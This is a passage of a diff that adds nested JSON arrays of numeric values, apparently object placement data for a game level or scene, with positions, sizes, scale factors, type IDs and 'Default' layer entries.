+ ]
+ ],
+ [
+ [
+ 3250,
+ 452,
+ 0,
+ 277.4059753417969,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2011,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3326,
+ 439,
+ 0,
+ 262.8316040039063,
+ 96.15914916992188,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2012,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3508,
+ 570,
+ 0,
+ 183.0292663574219,
+ 471.5202331542969,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2013,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3830,
+ 382,
+ 0,
+ 273.4289245605469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2014,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3740,
+ 56,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2018,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ -22,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2019,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ -101,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2020,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ -180,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2021,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2272,
+ 502,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2022,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2692,
+ 192,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2023,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3245,
+ 304,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2025,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3647,
+ 380,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2026,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3553,
+ 473,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2027,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3461,
+ 473,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2028,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3553,
+ 568,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2029,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3461,
+ 568,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2031,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3553,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2032,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3461,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2033,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3553,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2034,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3461,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 2035,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3645,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2036,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3737,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2037,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3829,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2038,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3921,
+ 569,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2039,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3828,
+ 378,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2040,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3920,
+ 378,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2041,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3833,
+ 135,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2042,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3923,
+ 481,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2043,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3784,
+ 575,
+ 0,
+ 369.3859558105469,
+ 96.15914916992188,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2044,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3645,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2046,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3738,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2047,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3829,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2048,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3921,
+ 664,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2049,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3645,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2050,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3737,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2051,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3829,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2052,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3921,
+ 759,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2053,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4130,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2054,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4222,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2055,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4314,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2056,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4016,
+ 549,
+ 0,
+ 200.2014465332031,
+ 87.62319946289062,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2057,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3831,
+ 295,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2058,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3830,
+ 295,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2059,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4406,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2060,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4408,
+ 421,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2061,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4411,
+ 330,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2064,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320,
+ 422,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2065,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4499,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4591,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4683,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2070,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4775,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4868,
+ 504,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4136,
+ 284,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2074,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 323,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 231,
+ 830,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 416,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2077,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 324,
+ 925,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 2078,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 599,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2080,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 507,
+ 1020,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 2081,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4722,
+ 419,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2084,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3738,
+ 52,
+ 0,
+ 76.83200073242188,
+ 79.30245971679688,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1776,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4500.306640625,
+ 510,
+ 0,
+ 828,
+ 96,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1830,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5260,
+ 820,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1831,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7389,
+ 677,
+ 0,
+ 276.3340148925781,
+ 89.62183380126953,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 1873,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7687,
+ 835,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1874,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8067,
+ 835,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1875,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8448,
+ 835,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 1879,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8194,
+ 621,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1880,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8249,
+ 623,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1881,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8469,
+ 613,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1883,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7864,
+ 490,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 1899,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7880,
+ 621,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 1900,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7483,
+ 414,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2015,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6901,
+ 555,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2016,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7157,
+ 491,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2017,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7347,
+ 676,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 2045,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 7516,
+ 687,
